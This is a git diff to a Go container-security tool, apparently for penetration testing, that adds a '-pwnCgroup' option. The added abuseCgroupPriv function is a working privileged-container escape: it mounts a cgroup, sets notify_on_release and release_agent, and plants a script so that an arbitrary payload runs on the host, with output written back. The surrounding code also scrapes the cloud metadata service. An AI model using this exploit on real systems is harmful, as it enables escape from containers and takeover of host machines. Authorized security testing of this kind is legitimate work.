diff --git a/main.go b/main.go index f8fbb4f..eeb6c9b 100644 --- a/main.go +++ b/main.go @@ -26,7 +26,7 @@ var verbosePtr, huntSockPtr, huntHttpPtr, huntDockerPtr, interfacesPtr, toJsonPt var validSocks []string var exitCode int -var pathPtr, aggressivePtr, hijackPtr, wordlistPtr, endpointList, pushToS3ptr, s3BucketPtr, awsRegionPtr *string +var pathPtr, aggressivePtr, hijackPtr, wordlistPtr, endpointList, pushToS3ptr, s3BucketPtr, awsRegionPtr, cgroupPtr *string type IpAddress struct { Address string @@ -61,9 +61,14 @@ func main() { s3BucketPtr = flag.String("s3bucket", "nil", "Provide a bucket name for S3 Push") awsRegionPtr = flag.String("region", "nil", "Provide a AWS Region e.g eu-west-2") scrapeGcpMeta = flag.Bool("scrapeGCP", false, "Attempt to scrape the GCP metadata service") + cgroupPtr = flag.String("pwnCgroup", "nil", "Provide a command payload to try exploit --privilege CGROUP release_agent's") flag.Parse() + if *cgroupPtr != "nil" { + abuseCgroupPriv(*cgroupPtr) + } + if *scrapeGcpMeta { resp, err := scrapeGcpMetadata("169.254.169.254", "80") if err != nil { diff --git a/utils.go b/utils.go index bd8c62d..46464bb 100644 --- a/utils.go +++ b/utils.go @@ -7,6 +7,7 @@ import ( "io" "io/ioutil" "log" + "math/rand" "net" "net/http" "os" @@ -21,6 +22,116 @@ import ( "github.com/aws/aws-sdk-go/service/s3/s3manager" ) +func abuseCgroupPriv(payload string) { + fmt.Println("[+] Attempting to abuse CGROUP Privileges") + containerHome, err := execShellCmd("sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab") + containerHome = strings.TrimSpace(containerHome) + if err != nil { + fmt.Println("[ERROR] In -> 'sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab'. ", err) + } + + randomCgroupPath := generateRandomString(6) + randomCgroupChild := generateRandomString(6) + + cgroupFullPath := fmt.Sprintf("/tmp/cgrp%s/%s", randomCgroupPath, randomCgroupChild) + cgroupPartialPath := fmt.Sprintf("/tmp/cgrp%s", randomCgroupPath) + + cgroupController := "cpu" + + if *verbosePtr { + fmt.Println("[*] CGROUP Location: ", cgroupFullPath) + } + _, err = execShellCmd("mkdir " + cgroupPartialPath) + + if err != nil { + fmt.Println("[ERROR] In -> 'mkdir "+cgroupPartialPath+"'.", err) + exitCode = 1 + return + } + + _, err = execShellCmd("mount -t cgroup -o " + cgroupController + " cgroup " + cgroupPartialPath) + + if err != nil { + fmt.Println("[ERROR] In -> 'mount -t cgroup -o "+cgroupController+" cgroup "+cgroupPartialPath+"'.", err) + exitCode = 1 + return + } + + _, err = execShellCmd("mkdir " + cgroupFullPath) + + if err != nil { + fmt.Println("[ERROR] In -> 'mkdir "+cgroupFullPath+"'.", err) + exitCode = 1 + return + } + _, err = execShellCmd("echo 1 > " + cgroupFullPath + "/notify_on_release") + + if err != nil { + fmt.Println("[ERROR] In -> 'echo 1 > "+cgroupFullPath+"/notify_on_release'. ", err) + exitCode = 1 + return + } + + releaseAgentCommand := "echo " + containerHome + "/cmd > " + cgroupPartialPath + "/release_agent" + _, err = execShellCmd(releaseAgentCommand) + + if err != nil { + fmt.Println("[ERROR] In -> '"+releaseAgentCommand+"'. ", err) + exitCode = 1 + return + } + + _, err = execShellCmd("echo '#!/bin/sh' > /cmd") + + if err != nil { + fmt.Println("[ERROR] In -> 'echo '#!/bin/sh' > /cmd'. ", err) + exitCode = 1 + return + } + + // payloadString := fmt.Sprintf("echo '%s > %s/output'>> /cmd", payload, strings.TrimSpace(containerHome)) + payloadString := fmt.Sprintf("echo '%s > %s/output'>> /cmd", payload, containerHome) + + if *verbosePtr { + fmt.Println("[*] Payload provided: ", payloadString) + } + + _, err = execShellCmd(payloadString) + + if err != nil { + fmt.Println("[ERROR] In -> '"+payloadString+"'. ", err) + exitCode = 1 + return + } + + _, err = execShellCmd("chmod a+x /cmd") + + if err != nil { + fmt.Println("[ERROR] In -> 'chmod a+x /cmd'. ", err) + exitCode = 1 + return + } + + _, err = execShellCmd("echo $$ > " + cgroupFullPath + "/cgroup.procs") + + if err != nil { + fmt.Println("[ERROR] In -> 'echo $$ > "+cgroupFullPath+"/cgroup.procs'. ", err) + exitCode = 1 + return + } + + fmt.Println("[*] The result of your command can be found in /output") +} + +func generateRandomString(len int) string { + rand.Seed(time.Now().UTC().UnixNano()) + bytes := make([]byte, len) + for i := 0; i < len; i++ { + bytes[i] = byte(65 + rand.Intn(25)) + } + return string(bytes) +} + func scrapeGcpMetadata(host, port string) (string, error) { connStr := fmt.Sprintf("%s:%s", host, port) d := net.Dialer{Timeout: time.Second * 5} @@ -260,7 +371,7 @@ func execShellCmd2(command string, args ...string) error { func execShellCmd(cmd string) (string, error) { out, err := exec.Command("sh", "-c", cmd).Output() if err != nil { - return "", err + return string(out[:]), err } return string(out[:]), nil }